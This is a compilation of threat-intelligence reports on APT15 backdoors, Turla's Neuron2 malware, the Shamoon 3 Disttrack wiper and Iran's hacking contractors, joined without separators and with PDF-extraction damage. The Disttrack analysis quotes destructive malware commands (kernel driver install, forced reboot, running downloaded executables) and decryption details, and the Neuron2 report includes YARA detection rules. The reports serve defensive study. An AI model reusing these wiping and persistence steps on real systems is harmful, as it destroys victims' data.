RoyalCli and RoyalDNS. +The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and +encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the +binary: +c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb +RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through +Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the +technique, this results in C2 data being cached to disk by the IE process; we'll get to this later. +Analysis of the domains and IP address infrastructure used by APT15 identified a number of +similar possible domains, shown at the bottom of the post. These appeared to be hosted on +either Linode or Google Cloud, with a preference for using the ASN AS63949. +All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts +in order to install its persistence mechanism. This was achieved through the use of a simple +Windows run key. We believe that APT15 could have employed this technique in order to +evade behavioural detection, rather than due to a lack of sophistication or development +capability. +Additional tools were recovered during the incident, including a network scanning/enumeration +tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data +dumping tool, known as 'spwebmember'. +spwebmember was written in Microsoft .NET and includes hardcoded values for client project +names for data extraction. The tool would connect to the SQL SharePoint database and issue +a query to dump all data from the database to a temporary file affixed with 'spdata'. The group +also used keyloggers and their own .NET tool to enumerate folders and dump data from +Microsoft Exchange mailboxes. +APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden +tickets. This allowed the group to persist in the victim's network in the event of remediation +actions being undertaken, such as a password reset. +APT15 lives off the land +Upon ejection from the network, APT15 managed to regain access a couple of weeks later via +the corporate VPN solution with a stolen VPN certificate, which they had extracted from a +compromised host. +This time, APT15 opted for a DNS based backdoor: RoyalDNS. The persistence mechanism +used by RoyalDNS was achieved through a service called 'Nwsapagent'. +C2 of this backdoor was performed using the TXT record of the DNS protocol. C2 was +communicating with the domain 'andspurs[.]com'. +We mentioned earlier that due to the nature of the IE injection technique used by the HTTPbased backdoors, a number of C2 commands were cached to disk. We were able to recover +these files and reverse engineer the encoding routine used by the backdoors in order to +uncover the exact commands executed by the attacker. +In total, we were able to recover more than 200 commands executed by the attacker against +the compromised hosts and were able to gain a clear insight into the attacker's TTPs. Our +decode scripts can be found on our Github page: https://github.com/nccgroup/Royal_APT +Analysis of the commands executed by APT15 reaffirmed the group's preference to 'live off +the land'. They utilised Windows commands in order to enumerate and conduct +reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, +ipconfig.exe and bcp.exe. +Lateral movement was conducted through by a combination of net command, mounting the C$ +share of hosts and manually copying files to or from compromised hosts. APT15 then used a +tool known as RemoteExec (similar to Microsoft's Psexec) in order to remotely execute batch +scripts and binaries. +During our analysis of the decoded attacker commands we noticed a typographical mistake, +shown below in the folder name 'systme'. This indicates that a human operative was executing +commands on a command line style interface, rather than an automated or GUI process. +IOCs +Below are a number of hashes relating to the backdoors identified in use by APT15 +Royal DNS: bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d> +BS2005: 750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b +BS2005: 6ea9cc475d41ca07fa206eb84b10cf2bbd2392366890de5ae67241afa2f4269f +RoyalCli: 6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785 +MS Exchange Tool: 16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce +NCC Group & Fox-IT have created a number of Suricata IDS rules to detect APT15 activity +through the use of these backdoors. These, along with YARA signatures for the backdoors +identified, can be found in the Github repository linked above. +Domains +The RoyalCli backdoor was attempting to communicate to the following domains: +News.memozilla[.]org +video.memozilla[.]org +The BS2005 backdoor utilised the following domains for C2: +Run.linodepower[.]com +Singa.linodepower[.]com +log.autocount[.]org +RoyalDNS backdoor was seen communicating to the domain: +andspurs[.]com +Possible linked APT15 domains include: +Micakiz.wikaba[.]org +cavanic9[.]net +ridingduck[.]com +zipcodeterm[.]com +dnsapp[.]info +Published date:  10 March 2018 +Written by:  Rob Smallridge +TLP WHITE +Turla group update Neuron +malware +Version 1.0 +Reference: NCSC-Ops/04-18 +18 January 2018 + Crown Copyright 2018 +TLP WHITE +Page 1 of 8 +TLP WHITE +About this Document +This NCSC report provides new intelligence on the Neuron malware, a tool used by +the Turla group to target the UK. It contains IOCs and signatures for detection and +network monitoring. +Handling of the Report +Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, +which means it can be shared within and beyond the CiSP community with no handling +restrictions. +Disclaimer +This report draws on reported information, as well as information derived from industry +sources. +TLP WHITE +Page 2 of 8 +TLP WHITE +Contents +About this Document ........................................................................................................................... 1 +Handling of the Report......................................................................................................................... 2 +Disclaimer .............................................................................................................................................. 2 +Introduction............................................................................................................................................ 4 +Summary of changes ....................................................................................................................... 4 +Neuron Updates ................................................................................................................................... 5 +Loader ................................................................................................................................................ 5 +Payload .............................................................................................................................................. 6 +Encryption ...................................................................................................................................... 6 +Communications ........................................................................................................................... 6 +Associated Files ............................................................................................................................... 6 +Neuron Yara ...................................................................................................................................... 7 +TLP WHITE +Page 3 of 8 +TLP WHITE +Introduction +In November 2017, the NCSC released an advisory highlighting the Turla Group +s use +of the tools Neuron and Nautilus.1 +Since then, the NCSC has identified a new version of the Neuron malware. The new +version has been modified to evade previous detection methods. +Neuron operates on Microsoft Windows platforms, primarily targeting mail servers and +web servers. The NCSC has observed this tool being used by the Turla group to +maintain persistent network access and to conduct network operations. +The compile times contained within these new binaries show that the actor +implemented the required modifications to Neuron approximately five days after public +releases by the NCSC and other vendors. +This NCSC report provides new intelligence on the Neuron malware, a tool used by +the Turla group to target the UK. It contains IOCs and signatures for to be used for +network monitoring and detection. +The files analysed in this report are available on VirusTotal. +Summary of changes to Neuron malware +The .NET payload is loaded in-memory as opposed to being dropped to disk; +Communications have been modified to avoid detection; +Some encryption methods have replaced RC4 with AES; +The modifications are sufficient to avoid previously released signatures & +IOCs. +https://share.cisp.org.uk/docs/DOC-6912 +TLP WHITE +Page 4 of 8 +TLP WHITE +Neuron Updates +A sample of Neuron was recently uploaded to VirusTotal. This sample appears to be +an updated version of Neuron. Changes have primarily been made to the dropper and +loading mechanisms. +The PDB string embedded within the binary supports the assumption that this is a +newer version by referring to itself as +neuron2 +D:\Develop\sps\neuron2\x64\Release\dcomnet.pdb +This sample contains sufficient modifications to frustrate detection, allowing Turla +operations to continue. +Loader +With previous versions of Neuron, a native dropper was utilised to write the main +payload to disk, establish persistence and ensure execution. This latest version uses +a native x64 loader to execute the .NET payload in-memory. The payload is encrypted +within the loader, which ensures the payload never touches disk in plaintext. This +modification has likely been made to evade detection during disk scans performed by +anti-virus products, however anti-virus products that scan memory will still likely be +able to detect the payload running. +The loader has the required exports to enable the configuration as a service, therefore +it's believed this will be the method used for persistence. +The loader can also specify which endpoints (HTTP(S) or pipe) to listen on by passing +them to the .NET executable as arguments. In this sample the endpoints specified are +different to previous versions: +http://*:80/OWA/OAB/ +https://*:443/OWA/OAB/ +If no arguments are provided the payload will use the following defaults for HTTP(S) +or pipes: +http://*:80/W3SVC/ +https://*:443/W3SVC/ +pipe://*/Winsock2/baseapi_http +Error handling has been added to the new payload. If the webserver encounters an +exception it will attempt to use the default values above, if another exception occurs +then the payload will revert to using the default HTTP (port 80) value. +TLP WHITE +Page 5 of 8 +TLP WHITE +Payload +The main payload is still a .NET executable, but several modifications have been made +to its operation which are described below +Encryption +Previous versions of Neuron used RC4 for the encryption of data stored on disk or +sent over the network. Portions of the updated Neuron service have been migrated to +AES, however, some components still rely on the RC4 implementation, such as +encrypting command information. +The actors have configured multiple hardcoded encryption keys rather than using one +for everything. For example, one is used for normal communication between nodes, +and another is used if the node is proxying a request. These modifications are likely +implemented to make detection and decryption by network defenders more difficult. +Communications +The communication between clients and servers has also changed to avoid detection. +The server expects a POST request, but rather than using the previous pre-defined +parameter names (cid, cadata etc.), the new function loops through each parameter +looking for certain characters within that parameter +s value to determine what +functionality should be performed. This will allow the parameter names to be randomly +generated and/or regularly changed, making it more difficult for network defenders to +reliably detect communications. +As an example, the following characters are looked for (in the order shown) to +determine which functionality should be performed: +Character +Functionality +Set the AES salt +( and ) +Return list of storage files +Get and return defined storage file +Add specified storage file to local storage (write to disk) +Send RSA encrypted encryption key (machine GUID) +Proxy request through to another address +, but not _ +Perform specified command and return result +Associated Files +TLP WHITE +Page 6 of 8 +TLP WHITE +Name +dcomnet.dll +Description +Neuron2 Loader (x64) +60bcc6bc746078d81a9cd15cd4f199bb +SHA1 +c9fc7ce10aba20894ef914d2073021a48995db17 +SHA256 +51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 +Size +170496 +Compile Time +28 Nov 2017 06:25:24 +Name +neuron2.exe +Description +Neuron2 Payload +d891c9374ccb2a4cae2274170e8644d8 +SHA1 +2fb145c64263006a95a0771b57e967977f63954d +SHA256 +83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 +Size +59392 +Compile Time +28 Nov 2017 04:44:26 +Neuron Yara +rule neuron2_loader_strings { +meta: +description = "Rule for detection of Neuron2 based on strings within the loader" +author = "NCSC" +hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927" +strings: +$ = "dcom_api" ascii +$ = "http://*:80/OWA/OAB/" ascii +$ = "https://*:443/OWA/OAB/" ascii +$ = "dcomnetsrv.cpp" wide +$ = "dcomnet.dll" ascii +$ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii +condition: +(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them +TLP WHITE +Page 7 of 8 +TLP WHITE +rule neuron2_decryption_routine { +meta: +description = "Rule for detection of Neuron2 based on the routine used to decrypt the +payload" +author = "NCSC" +hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927" +strings: +$ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 +01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01} +condition: +(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them +rule neuron2_dotnet_strings { +meta: +description = "Rule for detection of the .NET payload for Neuron2 based on strings +used" +author = "NCSC" +hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015" +strings: +$dotnetMagic = "BSJB" ascii +$s1 = "http://*:80/W3SVC/" wide +$s2 = "https://*:443/W3SVC/" wide +$s3 = "neuron2.exe" ascii +$s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii +condition: +(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 2 of +($s*) +TLP WHITE +Page 8 of 8 +Shamoon 3 Targets Oil and Gas Organization +unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization +By Robert Falcone +December 13, +2018 +Summary +On December 10, a new variant of the Disttrack malware was submitted to VirusTotal +(SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack +malware used in the Shamoon 2 attacks in 2016 and 2017 that we previously published here, here, and here. While we could not identify the impacted +organization from the malware, today Saipem disclosed they were attacked. In previous attacks, we were able to determine the impacted organization +based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was +missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would +overwrite the MBR, partitions, and files on the system with randomly generated data. +According to a press release, Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware. The attack +caused infrastructure and data availability issues, forcing the organization to carry out restoration activities. Saipem told Reuters that 300 systems on +their network were crippled by the malware related to the 2012 Shamoon attacks. While we cannot definitively confirm that Saipem was the impacted +organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental. +Dropper +The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system. The +dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on +the network remotely using previously stolen usernames and passwords. Unfortunately, this particular sample does not contain any domains, +usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed. +The dropper has a hardcoded kill time of +12/7/17 23:51 +; if the system date is after this date the dropper installs the wiper module and starts wiping +files on the system. The dropper reads the +%WINDOWS%\inf\mdmnis5tQ1.pnf + file to obtain a custom kill date that it will use instead of the hardcoded +time. The communications module installed by the dropper writes to this file, which will be discussed in a later section. The dropper also decrypts a +string +\inf\averbh_noav.pnf + that is the other file that the communications module uses to write system information to and if the wiper was able to +successfully wipe the system, but the dropper does not appear to use this file. +The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module. The third +resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64. The resources have a +language set to +SUBLANG_ARABIC_YEMEN + that was also found in the previous Disttrack samples used in Shamoon 2 attacks. The resource names are +PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples. +The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. +The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before +accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 +attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module. +Resource +name +Description +x64 variant of Dropper +Base64 Key +2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0+l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2M+A44NgO +Offset +8786-14 +Length +983552 +SHA256 of +Cleartext +0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 +Table 1 Resource containing the x64 variant of the Disttrack dropper +Resource +name +Description +Communications module +Base64 Key +U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQZdKABTK +Offset +8601-14 +Length +266752 +SHA256 of +Cleartext +0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe +Table 2 Resource containing the communications module in the Disttrack dropper +Resource +name +Description +Wiper module +Base64 Key +cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6 +Offset +7892-14 +Length +402432 +SHA256 of +Cleartext +391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c +Table 3 Resource containing the wiper module within the Disttrack dropper +The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 +below. +Service +name +MaintenaceSrv +Service +display +name +Maintenace Host Service +Service +description +The Maintenace Host service is hosted in the LSA process. The service provides key process isolation to private keys and associated +cryptographic operations as required by the Common Criteria. The service stores and uses long-lived keys in a secure process compl\x1d +Binary +path +MaintenaceSrv32.exe or MaintenaceSrv64.exe +Table 4 Service created by the Disttrack dropper +The dropper chooses a random name when installing the communication and wiper modules to the system. The communications module will have +one of the following filenames with the + file extension: +netnbdrve +prnod802 +netrndiscnt +netrtl42l +mdmadccnt +prnca00 +bth2bht_ibv32 +cxfalcon_ibL32 +mdmsupr30 +digitalmediadevicectl +mdmetech2dmv +netb57vxx +winwsdprint +prnkwy005 +composite005 +mdmar1_ibv32 +prnle444 +kscaptur_ibv32 +mdmzyxlga +usbvideob +input_ibv48 +prnok002_ibv +averfx2swtvZ +wpdmtp_ibv32 +mdmti_ibv32 +printupg_ibv32 +wiabr788 +The wiper module will have one of the following filenames with the + file extension: +_wialx002 +__wiaca00a +tsprint_ibv +acpipmi2z +prnlx00ctl +prngt6_4 +arcx6u0 +_tdibth +prncaz90x +mdmgcs_8 +mdmusrk1g5 +netbxndxlg2 +prnsv0_56 +af0038bdax +averfix2h826d_noaverir +megasasop +hidirkbdmvs2 +vsmxraid +mdamx_5560 +wiacnt7001 +Wiper +The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is +responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk +driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named + that it extracts by skipping to offset 1984 and +reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to +%WINDOWS%\system32\hdv_725x.sys +. The wiper +then creates a service named +hdv_725x + for this driver using the following command line command and runs it with +sc start hdv_725x +sc create hdv_725x type= kernel start= demand binpath= %WINDOWS%\system32\hdv_725x.sys +This wiper was configured using the + flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions and files. The +sample supports two additional configuration flags as well, specifically + and + flags that will either overwrite files using a file or encrypt its contents. +The wiper could be configured to use a file to overwrite the files on the disk using the + configuration flag, as we saw images used to overwrite files in +previous Shamoon attacks. This file would be stored in a resource named +GRANT +, but this particular wiper is not configured to use a file for overwriting +so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5. +Resource +name +GRANT +Description +File to overwrite within Wiper module +Base64 Key +heocXOK4rDmQg4LRfiURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CA+fee7cG +Offset +71-14 +Length + +SHA256 of +Cleartext + +Table 5 Resource in wiper module that would contain file to use for overwriting data +This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag +. This sample was +not configured to encrypt files, and the RSA key is empty in the wiper. +After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the +system reboots as the important system locations and files have been overwritten with random data: +shutdown -r -f -t 2 +Communications +The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper +will use the following two supporting files: +%WINDOWS%\inf\mdmnis5tQ1.pnf + Used to set a wipe date for associated wiper module +%WINDOWS%\inf\averbh_noav.pnf + Used to mark successful wiping +The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack +samples, this communication module does not contain functional C2 domains to use in the URLs. If it did, it would create a URL with a parameter +named +selection + followed by system information and the contents of the +averbh_noav.pnf + file, as seen here: +[C2 URL, empty]?selection=[system info and contents of averbh_noav.pnf] +When communicating with the C2 URL, the communications module would use a User Agent of +Mozilla/13.0 (MSIE 7.0; Windows NT 6.0) +, which is the +same as past Disttrack communication module samples. Table 6 below show the two commands the C2 could respond with that the communications +module could handle. +Command +Description +Reads base64 encoded file from the C2 server, runs +del /f /a %TEMP%\Temp\reilopycb\*.exe + to delete previously downloaded executables, runs +mkdir %TEMP%\Temp\reilopycb] > nul 2>&1 + to create a folder and saves the executbale to a file named +[tick count].exe +. The Trojan then runs +the downloaded executable %TEMP%\Temp\reilopycb\[tick count].exe +Opens the +\inf\mdmnis5tQ1.pnf + file and writes a supplied date to the file. The +\inf\mdmnis5tQ1.pnf + file is used by another associated module to +this communications module that is responsible for wiping the system. +Table 6 Commands available within the communication module +s command handler +Conclusion +The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017. The tool does not have the +capability to spread to other systems on the local network. Instead it would have to be loaded onto and executed on the system that the actors intend +to wipe. The wipe date of +12/7/2017 + does not seem timely. However, this older date is still effective as the Disttrack dropper will install and run the +wiper module as long as the system date is after the wipe date. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files +with an image. Instead, it would overwrite the MBR, partitions and files on the system with random data. While we can +t confirm this sample was used +in the Saipem attack, it is likely at least related to it. +Palo Alto Networks customers are protected from this threat: +WildFire detects all samples associated with this attack with malicious verdicts +AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack +Indicators of Compromise +c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f + Disttrack Dropper x86 +0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 + Disttrack Dropper x64 +0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe + Disttrack Comms module x86 +391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c + Disttrack Wiper module x86 +6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879 + ElDos RawDisk Driver x86 +ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150 + Disttrack Comms module x64 +dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589 + Disttrack Wiper module x64 +bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70 + ElDos RawDisk Driver x64 + 2019 Palo Alto Networks, Inc. All rights reserved. +CYBER THREAT ANALYSIS +Iran +s Hacker Hierarchy Exposed +How the Islamic Republic of Iran Uses Contractors and Universities to +Conduct Cyber Operations +By Levi Gundert, Sanil Chohan, and Greg Lesnewich +Recorded Future +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Scope Note: Insikt Group conducted interviews with a former Iranian hacker +with first-hand knowledge of the information shared and was living in Iran when +he started one of Iran +s first security forums. This source +s commentary forms +the basis for the background on the genesis of Iran +s offensive cyber efforts. +Additional research was facilitated with Recorded Future and by leveraging thirdparty metadata and open source intelligence (OSINT) techniques using a variety +of tools. While we address historical background and precedent in the piece, the +technical analysis regarding organizations and institutes in Iran +s offensive cyber +program is based on data collected from March 1, 2018 to April 30, 2018. +Executive Summary +Since at least 2009, the Islamic Republic of Iran has regularly responded +to sanctions or perceived provocations by conducting offensive cyber +campaigns. The Islamic Republic has historically preferred to use proxies +or front organizations both in physical conflict + Hezbollah against Israel +and Yemen rebels against Saudi Arabia + and cyberattacks to achieve their +policy goals. +Currently, Iran faces the prospect of negative economic impact via renewed +sanctions. On May 8, 2018 President Trump announced that the United +States would not renew the waivers on sanctions against Iran. The U.S will +instead impose additional economic penalties , the combination of which +amounts to a de facto U.S. withdrawal from the 2015 Joint Comprehensive +Plan of Action (JCPOA) (commonly referred to as the +Iran nuclear deal +We assess, based on Iran +s previous reactions to economic pressure, that +with President Trump +s exit from the JCPOA, Iran is likely to respond by +launching cyberattacks on Western businesses within months, if not faster. +Judging from historical patterns, the businesses likely to be at greatest risk +are in many of the same sectors that were victimized by Iranian cyberattacks +between 2012 and 2014 and include banks and financial services, +government departments, critical infrastructure providers, and oil and +energy. +Key Judgments +The Islamic Republic has abandoned its typically deliberate and +methodical approach to cyber operations on only two known +occasions, in 2012 and in 2014, when a quick reactionary response +was required. We assess that when Iranian cyber operators +respond to the U.S. withdrawal from the JCPOA that the operations +will be staffed and executed by capable, but less trusted +contractors. +Further, we assess that staffing these operations with less trusted +contractors could result in a scenario where the Islamic Republic +has difficulty controlling the scope and scale of the destructive +cyberattacks once they have begun. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Iranian cyber operations are administered via a tiered approach, +where an ideologically and politically trusted group of middle +managers translate intelligence priorities into segmented cyber +tasks which are then bid out to multiple contractors. This creates +a quasi-capitalistic system that pits contractors against each other +for influence with the Iranian government. +The Islamic Republic operates with embedded paranoia, where +ultimately, no one can be trusted. The situation creates unique +trade-offs in Iran +s government-sanctioned offensive cyber +campaigns; individuals with demonstrated adherence to the +government +s ideology and individuals with the greatest offensive +cyber skills are almost always mutually exclusive. +Based on our source +s conversations with other hackers in +Iran, there are over 50 estimated contractors vying for Iranian +government-sponsored offensive cyber projects. Only the best +individuals or teams succeed, are paid, and remain in business. +Insikt Group analyzed internet traffic relating to various institutes +affiliated with the Iranian cyber ecosystem from March 1, 2018 to +April 30, 2018. As this is the first profiling of Iranian internet activity +for these institutes, we cannot determine whether the suspicious +activity we analyzed was in preparation of the U.S. announcement. +According to Insikt Group +s source, to find and retain the best +offensive cyber talent, Iranian government contractors are forced +to mine closed-trust communities. The links between the forums +and contractors may illustrate that the trust communities begin +with the Iranian security forums. +The History of Iranian Geopolitical Response and the Nuclear +Agreement Decision +Editor +s Note: Where applicable, information in this section was provided by a +former Iranian hacker with direct access to the information provided. Based +on additional corroboration, we assess high confidence in this information. We +refer to this individual as +Insikt Group +s source + in other sections where their +information is cited. +Since 1979, Iran +s reactions to perceived Middle Eastern adversaries +foreign policy has been a study in the use of proxies. Specifically, Israel, +Saudi Arabia, United States, and Iraq have been frequent targets of Iranianfunded military actions, most recently through Houthi rebels in Yemen, and +Hezbollah everywhere else. +Since 2009, Iran has developed proxies in the cyber domain to partially +obfuscate government fingerprints from foreign attacks. Subsequent to +starting a cyber operations program in 2009, the Iranian government had an +immediate need to use the program in the fall of 2012 after U.S. President +Obama imposed severe financial sanctions on Iran, including removing Iran +from the SWIFT money transfer system. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +According to Insikt Group +s source, the Iranian government authorized +denial-of-service attacks on America +s largest financial services companies +as an immediate response to the sanctions in a campaign dubbed +Operation Ababil. A quick response was top priority, so time and planning +were forgone luxuries for the Iranian government. Instead, the Iranian +government opted for speed and the most capable actors, regardless of +demonstrated ideology. +Similarly, a year later in the fall of 2013, Sheldon Adelson (the CEO of Sands +Corporation) publicly suggested that the United States should attack Iran +with an atomic weapon. In February 2014, Iran launched a destructive +attack on the Sands Las Vegas Corporation that caused significant network +damage. This was the second public Iranian attack campaign on an +American business, where the response called for speed over time and +preparation. +The Iranian attacks in 2012 and 2014 were in contrast to the relatively slow +and methodical work of APT 33, APT 34, and APT 35, developing custom +malware, targeting data exfiltration from strategic intelligence targets such +as U.S. military contractors, Middle East energy companies, and university +research networks. +Comparing Iranian campaigns + methodical versus reactionary. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Building a National Capability + History and Relationships +Between Proxies +The Iranian Revolution replaced the Persian monarchy and transitioned the +Shah +s power to the Islamic Republic, led by Ayatollah Ruhollah Khomeini. +Loyalty to the resulting theocracy was defined by alignment to the Supreme +Leader +s moral precepts. +The new leaders of Iran also established an intelligence and security +organization, the Islamic Revolutionary Guard Corps (IRGC), +charged with +defending the Islamic Republic against internal and external threats. +Currently, the IRGC is Iran +s premier security organization and possesses an +army, navy, and air force, and manages +Iran +s ballistic missile arsenal and +irregular warfare operations through its elite Quds Force and proxies such +as Hezbollah. +The IRGC has a vast domestic information security and monitoring mandate, +as well as broad foreign mission, and has been linked to cyberattacks +against Western institutions since at least 2011. +According to Insikt Group +s source, during the 2009 Green Revolution, +Gerdab.ir emerged as the IRGC +s domestic hacking group tasked with +targeting opposition news websites and individuals considered immoral +by the regime. Iranian hackers targeting Iranian government resources +(one example was defacing Khamanei.ir) were identified by Gerdab and +imprisoned. Gerdab continues to act as the Iranian government +s internal +censor. +Following the Green Revolution, the Iranian government considered adding +a formal offensive cyber component to its existing intelligence apparatus, +and was forced to address a personnel problem. Iran needed a talented, +but politically and religiously reliable workforce. Stuxnet and scientist +assassinations reminded Iran of the efficacy of Mossad and CIA programs, +and according to Insikt Group +s source, fervent religious ideology was the +only way to demonstrate loyalty and build trust. +The emergence of the Iranian Cyber Army (ICA) as an extension of the IRGC +was an initial attempt by the Islamic Republic at conducting internationally +focused operations. These operations were a departure from Gerdab +focus on maintaining domestic moral values and defending government +rhetoric. In 2011, the IRGC +s ICA formed the foundation of the Khaybar +Center for Information Technology. According to a former IRGC cyber +commander, the Khaybar Center was established in 2011 and has been +linked to a number of attacks against the United States, Saudi Arabia, and +Turkey. +Even today, the balance between ideology and cyber skills remains +problematic. One example of the conflict between ideology and skill was +Mohammad Hussein Tajik, a former cyber commander within the IRGC. +According to Insikt Group +s source, Tajik +s father maintained a strong +religious background and was a veteran of Iran +s ministry of intelligence. Yet +Tajik was arrested and killed because the Iranian government feared that +Tajik was not ideologically aligned and posed a betrayal and flight risk. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Following the Green Revolution, Iran +s government needed to quickly +improve its cyber capabilities, but according to Insikt Group +s source, the +talent was primarily young and focused on financial benefits. This motivation +bred government mistrust, as the Islamic Republic feared that the financially +motivated could be bought by foreign intelligence services. Additionally, +many of the original Iranian hackers responsible for mass defacements +hated authority and lacked the discipline necessary for government work. +According to Insikt Group +s source, the government answer was a tiered +approach, with a network of people unofficially associated with the +IRGC and Iranian government + a type of ideologically aligned middle +management + that were loyal to the regime and demonstrated sufficient +religious commitment. This middle tier translated intelligence priorities into +segmented cyber tasks which were then bid out to multiple contractors. +Sometimes the contractors would compete with each other, sometimes +they would work together, but payment was only made once the objective +was completed. The result was (and presently remains) a quasi-capitalistic +system that pitted contractors against each other for influence with the +Iranian government. +In the Islamic Republic, influence can lead to security and wealth, but it can +also lead to a false sense of security (no one is above being imprisoned +and questioned at any given time). Thus, contractors must learn to play the +game + enough surface-level adherence to the regime +s ideology + to gain +temporary reprieves from suspicion long enough to be given contracted +work. To the Iranian government, ideology is more important than skills. +Deep belief in the Ayatollah +s precepts and the government +s goals helps to +avoid defections and traitors. +Obfuscating Iranian government involvement in offensive campaigns. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Today, based on ongoing contact between Insikt Group +s source and +Iranian hackers, it is estimated that there are over 50 organizations vying +for government-sponsored offensive cyber projects. Only the best teams +succeed, are paid, and remain in business. The government does its best to +compartmentalize + one job might be creating a remote code exploit (RCE) +for a popular software application, while another job might be using the RCE +and establishing persistent unauthorized access. Two different contractors +(or more) are typically required to 